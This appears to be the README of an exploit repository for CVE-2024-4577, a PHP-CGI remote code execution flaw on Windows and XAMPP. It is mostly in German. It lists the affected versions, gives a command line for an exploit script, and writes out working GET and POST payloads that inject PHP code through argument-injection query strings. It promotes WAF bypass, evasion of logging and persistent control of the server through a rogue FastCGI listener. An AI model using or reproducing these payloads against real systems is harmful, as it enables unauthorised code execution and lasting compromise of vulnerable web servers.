CVE-2024-4577-PHP-RCE

Projektbeschreibung und Prinzip

• Der erste weltweite Exploit für CVE-2024-4577 PHP-CGI RCE, der die Standard-PHP-Umgebung (XAMPP) nutzt.
• The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
• Ermöglicht RCE in der Standard-PHP-Umgebung. Prinzip: cgi.force_redirect + REDIRECT-STATUS.
• Neuer, origineller EXP, der Szenarien mit WAF-Bypass unterstützt. Prinzip: Einrichtung eines FastCGI-Servers + Kommunikation über das FastCGI-Protokoll.
• Neuer, origineller EXP, der SSRF-Szenarien unterstützt. Prinzip: data://-Protokoll + GET-Anfrage.

Vorteile von EXP 1

• Ermöglicht RCE ohne allow_url_include, auto_prepend_file, auto_append_file. Kann beliebige Dateien und PHP-Dateien einbinden.
• Die von WAFs häufig blockierten Schlüsselwörter allow_url_include, auto_prepend_file, auto_append_file werden nicht verwendet.
• Die gesamte Kommunikation des FastCGI-Servers wird nicht von der WAF protokolliert.
• Hört auf einem neuen Port, sodass eine dauerhafte Kontrolle des PHP-Servers unabhängig von Apache und PHP erreicht wird.

Schwachstellenübersicht

Betroffene Versionen

• PHP Windows-Version 8.3.0 <= betroffene Version < 8.3.8
• PHP Windows-Version 8.2.0 <= betroffene Version < 8.2.20
• PHP Windows-Version 8.1.0 <= betroffene Version < 8.1.29
• PHP Windows-Version betroffene Version == 8.0.x
• PHP Windows-Version betroffene Version == 7.x
• PHP Windows-Version betroffene Version == 5.x
• XAMPP Windows-Version 8.2.0 <= betroffene Version <= 8.2.12
• XAMPP Windows-Version 8.1.0 <= betroffene Version <= 8.1.25
• XAMPP Windows-Version betroffene Version == 8.0.x
• XAMPP Windows-Version betroffene Version == 7.x
• XAMPP Windows-Version betroffene Version == 5.x

EXP 1

Kann für WAF-Bypass-Szenarien + Standard-Szenarien verwendet werden:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

Beispiel:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Kann für SSRF-Szenarien + Standard-Szenarien verwendet werden:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Kann für Standard-Szenarien verwendet werden:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Kann für Standard-Szenarien verwendet werden:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Reproduktion

1. Serverumgebung:

XAMPP Windows-Version 8.2.12

2. XAMPP herunterladen und installieren:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Oder wählen Sie hier selbst betroffene Versionen aus: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Serverkonfiguration

Keine Änderungen erforderlich, Standardkonfiguration beibehalten

4. EXP auf Client-Seite verwenden

Testen mit obigem EXP

5. Überprüfung

Beobachten Sie, ob die Zeichenkette "TesT" oder der Inhalt der system.ini-Datei des Servers zurückgegeben wird